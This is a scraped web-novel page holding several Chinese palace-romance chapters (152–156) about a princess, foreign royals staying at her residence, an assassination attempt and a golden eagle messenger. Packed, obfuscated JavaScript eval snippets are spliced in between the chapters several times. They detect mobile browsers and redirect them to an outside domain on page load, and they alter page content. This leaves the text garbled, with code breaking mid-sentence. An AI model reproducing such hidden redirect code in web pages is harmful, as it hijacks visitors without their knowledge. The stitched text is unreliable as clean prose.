;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781703|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护。 要是玄翎在,肯定会骂主子一厢情愿、见色忘义。 但是这话,她是无论如何也不敢开口的,只能称是,退下去安排。 晏骁寒出了京城,一路南下。 马背上的他,一身劲装,精神焕发,嘴角还带着一抹似有若无的浅笑。 路上的的女子看他的模样魂儿都要丢了,一个不小心摔了个大马趴, 后头的即墨和离夜对视了一眼,压低声音:“还是长公主有法子。” 自打送行宴那日,主子脸色就一直阴沉着,只在公主府待了一夜,就云开雾散,简直是不可思议,也不知道长公主给自家主子用了什么灵丹妙药。 离夜板着一张冷脸,半天才憋出一句:“大人这样,很好。” 至少有了寻常人的喜怒哀乐,不再冷的像个毫无感情的石头。 即墨看离夜的目光,带了几分嘲弄。 他们这些人里,跟主子最像的就是离夜了,要是有一天,离夜也为了一个女人变成自家主子这样,那他干脆找根面条吊死算了。 前头一辆马车缓缓停下,宋菀菀无精打采的被人从马车上扶了下来,她一脸痛苦的捂着嘴跑到路边,扶着旁边的榆树就开始大吐特吐。 好一会她才缓过来,鼻涕一把泪一把的怒骂一旁的鹊羽:“你们太过分了……马车赶的这么快,是不是想晕死我?” 鹊羽怀里抱着一把剑,脸色冷厉:“死不了,放心。” 宋菀菀恶狠狠的盯着鹊羽,忽然眸色一转:“慕馨宁给了你什么好处,你没必要只效忠她,只要你跟了我,要钱要权都依你,将来我当了太孙妃乃至皇后,前朝后宫定会有你的一席之地!” 宋菀菀就不明白,慕馨宁明明又嚣张又愚蠢,为什么有那么多人效忠她。 之前那个鸦羽,现在这个鹊羽,好像都不是好惹的样子。 鹊羽看了宋菀菀一眼,语气冷硬:“好了就上车,别耽误赶路。” 宋菀菀有些不甘心:“你为慕馨宁效忠那么多年,直到现在,她怕是连你的名字都记不清,你若是跟了我。我将来定会给你无上的尊容。” 鹊羽沉着脸上前,提着宋菀菀就将她丢上马车:“先想想如何解毒吧。” 宋菀菀气的咬唇,刚要破口大骂,就见一个人影风驰电掣的与她擦肩而过。 第152章 要不要脸 “晏骁寒!”等前头的人影都快消失不见了,宋菀菀才确定是他。 晏骁寒头也没回,倒是后面的即墨,好奇的看了看宋菀菀:“你怎么在这里,赫连儒呢?” 宋菀菀张了张嘴,想要向即墨求救,可是一想起晏骁寒对她的态度,她只能偃旗息鼓。 即墨目光落在一旁的鹊羽身上:“你是谁,我怎么没见过你?” 只是,看鹊羽发髻上那一片黑色羽毛簪,就觉得这装扮,有些熟悉。 鹊羽根本理都不理即墨,直接驾车离开。 片刻,即墨才想起来,他有些震惊:“她跟鸦羽是一伙的?” 离夜:“没听过羽林军?” 即墨张大嘴巴,先帝在世时曾组建一支庞大的羽林军,但是在他临终之前,将所有的羽林军都交给了永平帝。 唯一一支女子组建的羽林军,却没了踪迹,原来是在慕馨宁手里? 即墨来不及过多的震惊,他有了一个重大的发现。 “宋菀菀不是嫁到北赫,那出了京城应该一路向向北,她怎么往南面走?” 要不是知道鹊羽是慕馨宁的人,即墨和离夜定要把人给扣下,好好审问一番。 没过两日,原本已经走远的北赫使臣,忽然又回来了。 永平帝震惊,连忙召了赫连儒进宫。 当众人得知,宋菀菀为了不嫁去北赫,给北赫一行人下了**逃走之后,除了震惊,更多的是愤怒。 东陵的脸,都让宋菀菀给丢尽了。 “不可能,莞儿怎么可能做出如此愚蠢的事情,若是她真的要逃,怎么连下人和嫁妆都不带!” 太后一口咬定:“皇上,没准莞儿是遇见了什么危险,你快加派人手,好好找一找!” 太后头晕眼花,不止担心宋菀菀安全,更担心和赫连儒达成的交易会受到影响。 宋菀菀她太了解了,就是有勇无谋,她一个柔弱的女孩子,怎么可能孤零零的一个人逃走,至少也要跟她这个母后通个气才是啊! 永平帝喝了口茶,叹了口气:“母后,之前她极力反对与赫连儒的婚事,我们大家都看在眼里,她逃婚,也是情理之中的事情。” 宋菀菀不傻,就算没有带嫁妆和下人,肯定也是有了其他保身的办法。 永平帝说出这种话来,太后差点一口气没上来。 本来她想骂一句,永平帝是站着说话不腰疼。 可是仔细一想,永平帝巴不得宋菀菀跟赫连儒取消婚约,这样她就没办法与赫连儒结盟,永平帝的利益也不会受到威胁。 太后喝了口茶,将心头的百般滋味咽下。 “太后娘娘,皇上,不好了……谢御史又带着人在金銮殿死谏了!” 永平帝脸色一变:“这次又是因为什么?” 这个谢御史,之前不是因为死谏撞坏了脑袋正在家中养病么,这怎么又来了? 外头的贵公公急切的道:“谢御史说,惠明公主之所以能在联姻的路上出逃,肯定是太后娘娘给了她足够的支援,太后娘娘为了不让惠明公主远嫁,简直是无所不用其极,根本不顾及东陵的脸面和东陵与北赫紧张的关系啊……” 谢御史现在带着人在金銮殿门口跪着,说要是太后不把宋菀菀交出来,他就一直不吃不喝,就饿死渴死在金銮殿! 永平帝差点气笑了,这个谢御史怎么学聪明了,不撞头改绝食了? 估计撞破脑袋的滋味,也不好受吧。 “母后,你看这……”永平帝急的团团转。 不等太后开口,他又道:“您还是让惠明回来吧,她也不能在外面躲一辈子,如果她一直不回来,那儿臣为了堵住悠悠众口,只能褫夺她公主封号贬为庶人了。” 太后这一下真是气着了,原来不止谢御史和外人,就连永平帝也怀疑是她帮助送宋菀菀出逃的! “太后……太后娘娘……” 芝嬷嬷看着太后就要倒下,连忙将人扶住。 她脸上都是泪:“皇上,天地良心,就算太后再心疼惠明公主,断然也不能帮助惠明公主出逃啊!” 永平帝叹了口气:“就算朕信得过母后,文武百官又怎么会信得过?” 永平帝丢下这句话,就喊了太医来,等太医给太后诊脉之后,他才离开。 永平帝刚走,太后就睁开了眼睛,恨不得从床上跳起来:“查,给哀家查,若是查出谁是罪魁祸首,哀家定要扒了他的皮!” 公主府。 饭桌上,慕馨宁狠狠地打了一个喷嚏,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787607|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前一边吃饭,一边跟美男调情的纳兰倾,白眼都要翻到天上去了。 “我不是跟你说了,来我这里可以,不能带男人。”慕馨宁放下筷子,端起一旁的冰沙,没等递到嘴边,又放下。 纳兰倾跟容屿正在忘我的拥吻,听见慕馨宁这话,两个人终于不舍的分开。 “别忘了我这身上的伤是怎么来的,搞不好还要落疤,我搞得又不是你的男人,你要是觉得碍眼就走。” 慕馨宁揉了揉太阳穴,又觉得牙疼。 要不是虞零落捅了纳兰倾,她现在理亏,恨不得直接将两个人扫地出门。 她现在又恼怒虞零落下手太轻,又怪纳兰倾恢复的太快,纳兰倾躺在床上她能落个清净,这以后,她怕是没有好日子过了。 “哎……哎……” 慕馨宁原本一阵无语,纳兰倾更过分起来,手直接伸进了容屿的裤子里。 这是她的公主府,她还在这里,这两个人能不能要点脸? 慕馨宁气的差点将手里的筷子甩在两个人脸上:“吃饭呢,吃饭呢,纳兰倾你能不能注意一些!” 纳兰倾嘿嘿一笑,将容屿裤兜里的手抽出来,还理直气壮:“没事,不脏,他洗澡了,我俩一块洗的,鸳鸯浴……” 慕馨宁快疯了,抱着一个大碗将桌上的饭菜都装了一些,抬腿就往外走。 恶心,别说跟他们两个吃饭了,看着都恶心。 “没事,她走她的,她肯定就是嫉妒我们。”纳兰倾还安慰容屿。 原本打算送给慕馨宁的见面礼,慕馨宁没要,纳兰倾自然就有了艳福,所以现在容屿可是纳兰倾的心头肉。 慕馨宁抱着碗,刚要去隔壁的小作坊看看新制作的香皂如何了,结果一抬头,竟然看见了赫连儒。 “你怎么来了?”她都有些怀疑自己的眼睛。 赫连儒上前,捡了她碗里的炸鸡腿就咬了一口:“本王的太孙妃丢了,当然是找你讨要来了。” 慕馨宁没给他好脸:“你有什么证据,不要污蔑人,否则本宫把你赶出去。” 赫连儒没好气的撇了慕馨宁一眼:“别装,你那点小九九我还不知道。” 慕馨宁:“……” 心有点慌,是怎么回事? 第153章 扒光他的衣服 赫连儒看她一脸心虚,又开口:“你给我个厨子,这件事就算了,我也懒得管她的死活。” 慕馨宁眨了眨杏眼,所以上次赫连儒死皮赖脸找她要个厨子,她没答应,如今又跑回来,是没死心? “行,给你一个,就当是加深我们两国的友谊。”慕馨宁说的一副大公无私、冠冕堂皇的样子。 赫连儒满意的又啃了几口鸡腿,从身上掏出一张信纸:“主要还是这个,你不是要跟本王做生意,本王还想见见实物,好好做个了解。” 慕馨宁除了打算在各国皇城开书斋之外,还打算跟他们做日用品生意,这件事没有当面和各国使臣谈,而是以书面的形式简述,确实也有些草率。 赫连儒回来了,他自然是想好好了解了解,以免被慕馨宁给坑了。 慕馨宁恍然,她就觉得,赫连儒不会因为一个宋菀菀和一个厨子,又从半路上折回来。 “饭桌还没撤吧,给本王再添几个菜,可饿死本王了。” 赫连儒将一个鸡腿啃完,还意犹未尽,他心情不错,毫不见外的抬腿就往饭厅里走。 慕馨宁看着他的背影,有些幸灾乐祸。 “一……二……三……” “啊……” “啊……” 纳兰倾和赫连儒的尖叫声同时响起。 赫连儒怒骂:“不知羞耻,**,你们在这里就……还是在桌子上?” 纳兰倾:“滚远点,别打扰老子的好事,不然咱们三个一起来?” 慕馨宁抬头望天,实在忍不住。噗嗤一下就笑出声来。 杜若羞红了脸,她撇了撇嘴:“也不知道赫连儒和皇太女什么时候走,他们两个在公主府,岂不是要闹翻天……” 话音未落,里头好像传来骂骂咧咧的声音,还有碗盘摔碎的声音。 毫无疑问,南岳皇太女和北赫皇太孙,打起来了。 杜若连忙喊人:“快,快把他们拉开!” 慕馨宁抱着怀里的饭碗,语气淡淡:“不用,找人看着些,谁弄坏了什么东西,都要赔偿。” “长公主,太后召您入宫。” 碗里的饭还没吃完,饭厅那边还吵吵嚷嚷,太后身边的大太监王福来了。 听着声音,他看了一眼饭厅的方向,也是一脸疑惑,就算他心里好奇,可他只是个下人,在主人面前,怎么好随意走动。 慕馨宁就坐在合欢树底下的石桌旁慢悠悠的扒饭:“母后喊本宫过去,是因为宋菀菀逃婚一事吧?” 王福低头:“老奴不知。” 慕馨宁喝了口茶:“这件事本宫也实在是没什么好法子,不过本宫已经吩咐下去了,让人四处找找宋菀菀的踪迹。” 王福捋了捋手里的拂尘,语气有了几分强硬:“长公主,太后娘娘请您入宫,有什么话,不如您面见了太后娘娘亲自跟她说?” 慕馨宁指了指饭厅的方向:“北赫皇太孙和南岳皇太女在本宫这里,本宫总不能怠慢了他们,还请母后恕罪,等本宫有了空闲,再去给她老人家请安。” 王福脸色难看,他听声音就大概猜到了是纳兰倾和赫连儒。 可是两个人都打起来了,慕馨宁还在这里悠哉悠哉的吃饭,这就是她这个主人家的待客之道? 可就算王福再不满,有皇太女跟赫连儒在公主府,也不好再说什么。 太后得知两个人在公主府打起来了,还等着二人闹到宫里来,到时候她就可以趁机发难慕馨宁招待不周之罪,可是天都黑了,两个人也没进宫。 晚饭前,慕馨宁将自己命人做出来的东西摆到了赫连儒跟纳兰倾跟前。 纳兰倾脸肿了一边,赫连儒一个鼻孔出血,用纸堵住了。 二人皆是一脸狼狈,慕馨宁忍不住噗嗤一下笑出声来。 纳兰倾和赫连儒对视一眼,同时指责慕馨宁。 纳兰倾:“阿宁,我都被他欺负成了这个样子,你不是我最好的朋友。就应该给我报仇,为我出气才是。” “你喊几个人来,打断他的腿,扒光他的衣服,把他给我丢到大街上去!” 赫连儒:“慕馨宁,我被纳兰倾欺负成这个样子,你就眼睁睁看着?” “我们好歹也是盟友了,你今天要是不给我报仇,咱们两个就恩断义绝吧!” 慕馨宁没搭理他们,对青茀道:“准备好了吗?” 青茀点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第154章 怪物 她的作坊开到赫连儒的地盘上,怕是用不了多长时间,配方就会被赫连儒弄到手了。 “这件事以后再说,还得从长计议。” 赫连儒只能跟慕馨宁签了这合约,纳兰倾倒是比赫连儒还痛快。 晚后,赫连儒跟纳兰倾都住在了公主府,慕馨宁能说什么,都是爷。 “多安排一些人手,加强公主府的防卫。”慕馨宁回房前,在门口对刘营道。 刘营还没等应声,远处忽然传来打斗的声音。 “刺客……有刺客!” 慕馨宁脸色一变,就这么巧么? 如果纳兰倾跟赫连儒有一个死在公主府,哪怕是受伤,事情闹大了,慕馨宁都得吃不了兜着走,慕馨宁心里有些慌乱。 这边客房,纳兰倾跟容屿没等到床上,门刚关上就开始‘交流’起来。 就在两个人忘我的时候,房门忽然被踹开,好几个黑衣人提着剑冲了进来。 纳兰倾胡乱裹上外衣,当即骂了一声:“慕馨宁,你这公主府怎么跟个筛子一样!” 刺客轻易就进了公主府,还在她办事的时候,这件事要是传出去,谁都没脸。 容屿不等提上裤子,就被人捅了一剑。 好歹纳兰倾还会点功夫,不过没一会就抵不住了。 眼看着,刺客提着手里的剑离她越来越近,纳兰倾紧张的一边后退,一边不停的吞口水。 她的命要是交代在这里,用不了多久,阿宁就会去地府陪她吧? 幸好,在刺客的剑要捅进纳兰倾心窝的时候,玄翎及时出现。 他一身黑衣,面容冷峻,高大威猛,一剑就要了那刺客的命,纳兰倾一下子就犯了花痴。 大概半个时辰,公主府才恢复平静。 死在公主府的刺客,几乎可以堆成小山。 慕馨宁沉着脸,坐在圈椅里,盯着人手将各处的黑衣人一个一个的抬过来。 玄翎擦了擦脸上的血:“都是死士,没有活口。” 纳兰倾一边整理自己凌乱的衣服一边不满的道:“你公主府能不能多安排些人手,我要是死在你这里,那你可没有什么好下场。” 鸦羽恭敬的解释:“皇太女恕罪,公主府的防范一直做的很好,只是这次的黑衣人经过严格的训练,他们手里的武器也是最精良的,而且人数较多,所以我们才落了下风。” 纳兰倾哼了一声,看向慕馨宁:“我在你这里受了惊吓也就算了,容屿也受了重伤,你得给我赔偿。” 慕馨宁缓了缓难看的脸色,转头问她:“什么赔偿?” 她能有什么拿的出手的,能有什么值得纳兰倾看得上的? 纳兰倾凑到慕馨宁跟前,给她使了个眼色。 慕馨宁顺着目光,就看见了正在清点人数的玄翎。 头疼。 没一会,赫连儒也脸色难看的出来了。 刺客闯进门的时候,他正在洗澡,要是被刺客看见他……那这件事可就严重了。 他坐在一旁,看着慕馨宁,语气带了几分嘲讽:“要是你实在穷的厉害,没钱多养一些护卫,那本王拨给你两百人。” 慕馨宁瞪了赫连儒一眼,这货还不如直接说安排人手在东陵做奸细算了。 “喊大理寺和刑部来吧。” 这么多人,她不能私自处理,否则还不知会被有心人扣上什么罪名。 虽然都是死士,找不到一点线索,但是能对公主府下手的,也就那么几个人而已,慕馨宁心知肚明。 刑部和大理寺来了人,公主府许久才恢复安静。 这件事传到永平帝和太后耳朵里,他们关注的,并不是那些刺客。 而是,赫连儒跟纳兰倾,竟然住在了公主府,而且事情闹这么大,命都要丢了,这两个没一个进宫来告慕馨宁的状。 这就说明,慕馨宁跟这二人的关系,非同寻常。 太后跟永平帝,都有了危机感。 次日一早,又有官员**太后为了一己私心,帮助宋菀菀逃婚一事。 太后跳进黄河也洗不清,里外不是人。 这件事若是跟她有关,她也就忍了,可是直到现在,宋菀菀到底去了哪里,她毫不知情。 活了大半辈子,大半辈子的风风雨雨她都走过来了,只有她冤枉陷害别人的份儿,还是头一次被别人污蔑陷害。 太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787609|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病了,头风犯了,太医束手无策。 早朝发生的事情,慕馨宁已经知晓,心里当然是畅快了许多。 老妖婆算计她那么多次,她当然要再给她一些回礼才是。 早饭吃的有些晚,慕馨宁睡到日上三竿才起。 吃了早饭之后,她穿戴整齐,准备去歌舞场那边看看情况,若是一切准备妥当,挑个良辰吉日就可以开业了。 “也不知道晏骁寒到哪了,听说南边天气闷热,人走在外头像在炼丹炉里一样,我都忘了给他备一些清凉解暑的药。” 杜若宽慰道:“主子放心,首辅大人也不是娇生惯养长大的,无论如何也没有做官之前受的苦难多。” 慕馨宁觉得也是这个道理,主仆两个边说话边往外走,外头忽然传来一声尖叫。 “啊……救命……” 杜若脸色惨白,还不忘了把慕馨宁给护在身后:“主子,有刺客!” 这刺客到底从哪来了,**一波又来一波? 杜若吓得魂儿都要丢了,还哆哆嗦嗦的去关门。 结果,门关到一半,就有个面目狰狞的东西从外头进来。 杜若吓得直接跌坐在地上:“啊……主子,你快跑啊!” 慕馨宁心里一阵惊慌,本来是想跑的,可是看清门口那东西,好奇更多于惊恐。 刘营已经带着人围了上来,侍卫手里挥着长剑,还有几个已经拉弓。 “住手!” 慕馨宁喊了一声,有个射箭的侍卫反应慢了半拍,但是幸好他角度错开一些,离弦的箭射在了一旁的门板上,断了那怪物身上的一片羽毛。。 那东西回头看向射箭那人,忽然凶神恶煞的扑腾着翅膀冲了过去。 众人惊慌失措,连忙避开,可怜了那射箭的侍卫,措手不及,轻易就被那东西扑到,脑袋被它狠狠地啄了一个血窟窿! 那侍卫抱着血淋淋的脑袋,痛苦的尖叫一声,就闭上了眼睛。 所有人都吓坏了,慕馨宁也有些后悔让大家停手,这不是要闹出人命来了? 可是,就在她犹豫要不要下令将那东西捕杀之时,竟然看见那怪物脖子上挂了一个篮子。 第155章 跟你没完 “你们不要攻击它,离它远一些,请姬神医给那个侍卫瞧瞧头上的伤。” 慕馨宁吩咐下去,有人抬着那个满头是血的侍卫去找姬神医。 刘营还是带着人围着那东西没走,生怕它伤了慕馨宁。 刘营盯着它许久,总觉得有些眼熟,好一会,他惊呼出声:“是金雕!” 这只金雕体型庞大,面目凶狠,站直之后,几乎有一人高,看起来确实很吓人。 那金雕鄙夷的看了刘营一眼,仿佛在说:你小子眼光还算不错。 它又转过身,看了慕馨宁一眼,低下头,将脖子上的篮子搁在地上。 慕馨宁有些惊魂未定,指了指自己的鼻子:“给我的?” 金雕歪过脑袋,高傲的不去看她。 慕馨宁吸了一口气,壮着胆子上前。 杜若吓得腿都抽筋了:“主子,您小心啊!” 慕馨宁忐忑的渐渐靠近,见那金雕并没有要攻击她的意思,这才稍稍放下心来。 打开篮子,里头有一个食盒,还有一封信。 一看见是晏骁寒的字迹,慕馨宁终于是松了一口气。 信中只有一句简单的问候,晏骁寒又说,途径一个小县城,发现路边卖的小食味道很是不错,所以特意买了一份让她尝尝。 慕馨宁打开食盒,瞬间眼睛一亮:“章鱼小丸子!” 章鱼烧,不是起源于小日子那边么,在新世纪才有几十年的历史而已,原来在古代就有的? 章鱼烧皮酥肉嫩,色泽金黄,散发着独特的香气。 慕馨宁忍不住尝了一个,味道确实浓郁鲜香的很,而且温度刚好,像是刚出锅不久的。 晏骁寒不是已经走了好几天了么,这东西送过来,这么快的么? 她的目光落在一旁凶神恶煞的金雕上,连忙招呼人:“快去厨房看看,有没有什么吃的,新鲜的生肉,最好是牛肉,多弄来一些!” 此时,纳兰倾和赫连儒都来了,他们看着眼前硕大的金雕之后,一脸不可置信。 “哎呦,真丑,怪吓人了。”赫连儒随口嘟囔了一声。 没想到那金雕竟然听懂了他的话,扑腾着硕大的翅膀,目录凶狠的朝着他就扑了过去。 赫连儒当即拔剑,准备和金雕拼个你死我活。 慕馨宁紧张的不行,连忙开口:“赫连儒,你不能伤了它,要是它受一点伤,晏骁寒肯定不会放过你的!” 赫连儒手里的剑不停的朝着金雕挥舞,金雕多次想要啄赫连儒的脑袋。 “我不伤它,它就要了我的命了,难道在你眼里,本王的命,还没有一只畜生金贵?” 此话一出,那只金雕攻击赫连儒的时候更加凶猛了。 纳兰倾看热闹不嫌事大,连忙扯着嗓子嚷嚷:“来来来,快下个赌注,我赌赫连儒输,一百两金子!” 众人:“……” 赫连儒气的脸色铁青:“纳兰倾,你个淫棍,竟然敢咒我,你等着……啊……” 话没说完,赫连儒握着剑的手背就被金雕狠狠地啄了一个血窟窿,深可见骨。 赫连儒脸色难看,怒吼一声:“来人,把它给本王杀了,本王现在就要拔光它的**烤了下酒!” 那金雕尖厉的叫了两声,这下它的双翅都用上了,**几下扇过去,赫连儒狼狈跟个不倒翁一样打着摆子在地上转圈。 那只金雕仿佛发现了新玩具,也不急着啄赫连儒了,就用两只翅膀狠狠往赫连儒身上扇。 赫连儒被扇的原地起飞,在刚要落地的时候,那只金雕又一翅膀把他给扇了起来。 赫连儒手里的剑早就弄丢了,头发凌乱,衣衫不整,狼狈的不像样子。 众人的目光,随着赫连儒的身子起落,起落。 赫连儒快要崩溃:“慕馨宁,这就是你的待客之道?本王要是死在你公主府,你吃不了兜着走!” 纳兰倾幸灾乐祸:“还不是怪你嘴贱,要不是说它丑……” 话没说完,纳兰倾连忙捂住嘴。 那金雕目光不善的看了纳兰倾一眼,继续折腾赫连儒。 慕馨宁见情况不好,也是急的团团转,赫连儒要是真有个三长两短,这件事确实不好弄。 这时候,下人抬着一大盆生牛肉过来。 慕馨宁笑的有几分讨好:“雕爷,牛肉来了,特别新鲜……你饿了吧……快尝尝。” 说着,她让下人将牛肉抬的更近一些,下人哆哆嗦嗦,放下牛肉就跑了。 赫连儒见慕馨宁这么不中用,也不让人射杀金雕,又想起这东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793554|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是晏骁寒的,于是也只能放下尊严:“大侠,大侠我错了,你饶我一命行不行,我给你弄一头牛来!” 赫连儒又被金雕的翅膀狠狠地扇了起来,抛向空中,然后就转身去吃牛肉了。 看来这‘雕爷’和‘大侠’的称呼,它很受用。 赫连儒从半空落下,狠狠地摔在地上,疼的他整张脸都皱在一起,手背上那被金雕啄出的伤口,还在流血。 “慕馨宁,我跟你没完!”赫连儒咬牙切齿。 慕馨宁连忙招呼刘营:“快,扶着皇太孙去老头儿那看看。” 刘营上前,刚要伸手,却被赫连儒一脸嫌弃的甩开:“臭男人,离我远一点!” 刘营蒙了,这话说的,好像他不是男人似的。 慕馨宁想到什么,只能招呼杜若:“你去,扶着他去外公那看看。” 众人看着金雕将那带血的牛肉吞入腹中,还一副很满足的样子,心里更发怵。 它要是饿急眼了,吃不**? 刚刚赫连儒手背掉了那么一大块肉,不会被它给吃了吧? 等金雕吃完那一大盆牛肉,看都没看慕馨宁一眼,拍动着硕大的翅膀就飞走了。 有些人好奇的追出去看,就见它的身影很快隐匿于苍穹之上,只剩下一个芝麻大小的黑点。 慕馨宁刚吃了两个章鱼烧,就被纳兰倾一把抢走了,她还理直气壮:“男人你不分给我也就算了,这吃的你要是也舍不得,那我就跟你绝交!” 慕馨宁无奈:“你吃,你吃。” 纳兰倾咬了一口章鱼烧,顿时两眼放光:“味道真不错,太好吃了!” 吃着吃着,不知怎的,她心里就多了两分嫉妒:“阿宁,你不会因为这点子吃的,就对晏骁寒掏心掏肺吧,没准他接近你别有用心。” 慕馨宁翻了个白眼,不是你想睡人家的时候了。 “听说这个金雕百年难遇,是空中之王,而且十分凶残,没想它竟然能听命于首辅大人!” “这要是伤人性命,几乎不费吹灰之力。” 听着几个人的议论,慕馨宁忽然想起那个脑袋被啄破的侍卫。 “得知会老头儿一声,让他给那侍卫用最好的药。” 刘营面色凝重:“估计,怕是不行了。” 第156章 又死谏 脑袋被啄了一个窟窿,脑浆都要出来了,除非大罗金仙在世,他才能保住性命。 慕馨宁特意去瞧了瞧,正巧碰见赫连儒捧着包的跟粽子一样的右手出来。 赫连儒脸色难看的冷哼一声,抬腿就走。 杜若有些担忧:“主子,他不会记恨上您吧,这可怎么办?” 慕馨宁叹了口气:“没事。” 大不了到时候多给赫连儒一些好处,毕竟赫连儒还有把柄在她手里。 老头儿忙的满头大汗,正在给那个侍卫治伤。 他不但没有半点生气,好像忙的不亦乐乎,脸上挂着激动的表情。 “这个好,这个好,老朽钻研大半生的医术,终于派上用场了!” 老头儿一边给那个侍卫施针,一边对慕馨宁道:“以后要是再有像这种快要断气的,通通给我送过来!” 钱不钱的,不重要。 刘营挠了挠头,估计老头在公主府也是快憋疯了,否则怎么会有这样的想法。 老头忙活到一半,慕馨宁刚要走,他脸色一变:“站住,他们刚刚说什么,那小子给你送了好吃的?” 慕馨宁张了张嘴,刚要摇头,老头儿已经一脸怒容:“好啊你,我在这里累死累活,你有了好吃的,竟然都没想着让我尝一尝,哪怕让我闻闻味道也好啊……你个不肖子孙!” 慕馨宁尴尬的要死,恨不得找个地缝钻进去。 什么累死累活,也就今天让老头忙了这一阵。 平日里什么好吃的不是都第一时间给老头儿送来了,也就今天……章鱼烧太好吃,她真忘了……而且剩下的不是被纳兰倾抢走了? 看老头儿一副痛心疾首的样子,她连忙开口:“打住打住,我现在就去厨房给您做一份儿您想怎么吃就怎么吃,行不行?” 老头儿难看的脸色这才缓和几分:“赶紧滚!” 慕馨宁一阵郁闷,这辈子,敢这么跟她说话的,也就老头儿一人了。 幸好晏骁寒来信,还附带了一张做章鱼烧的方子,慕馨宁还可以重新改良一下,最主要的,还是要让铁匠打出一个做章鱼烧的模具出来。 等慕馨宁将料调好之后,模具也送了过来,慕馨宁就操办起来。 还别说,经过改良的章鱼烧味道更加浓郁,色泽也更加金黄。 因为老头儿的一阵发飙,全府上下都吃上了章鱼烧。 老头儿原本还挺高兴的,一出门,看着大家人手一串,顿时觉得吃进肚子里的章鱼烧不香了。 感情不是给他一个人做的,是给全府人做的,哼! “长公主,不好了!” 慕馨宁刚从厨房出来。就有下人急匆匆上前。 她心里咯噔一下,嘴里的半个章鱼烧咽下也不是,吐出来也不是:“怎么了?” “工部尚书到皇上跟前**您,说您怠慢北赫皇太孙,破坏两国友好,皇上请您入宫一趟!” 下人禀报完,慕馨宁有些不可置信。 杜若都快哭了:“奴婢就说北赫皇太孙肯定不会善罢甘休的,这可怎么办?” 慕馨宁皱眉:“赫连儒进宫告状了?” 不能吧,这么大的事,怎么没人禀报? 下人回:“那倒没有,奴才刚刚还看见他出来吃章鱼烧来着。” 慕馨宁一琢磨,还是觉得这件事,跟赫连儒脱不了关系。 她让人请赫连儒来,准备问问情况,大不了多给他一些好处。 结果赫连儒没来,慕馨宁只能亲自过去一趟。 房间里,半靠在软榻上,正在看慕馨宁写的话本子。 慕馨宁进来,就见赫连儒包的跟粽子一样的右手吃力的翻了一页书, 赫连儒看她,眼神里都是怀疑:“这真是你写的?” 要不是慕馨宁之前说要跟他开什么书斋,他绝对不相信这是出自慕馨宁之手。 慕馨宁不答反问:“你让人去皇兄那里告状了?” 赫连儒眼里闪过什么:“这种事情,你府上闹出这么大动静,宫里很难不知道吧。” 再说了,他伤成这个样子,到现在浑身还疼的厉害,慕馨宁也不好好补偿他,慕馨宁被**,那也是活该。 慕馨宁原本倒是想给赫连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793555|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儒一些补偿,只是还没来得及提及,既然事情闹到了永平帝那里,她索性就什么都不给了。 皇宫,御书房。 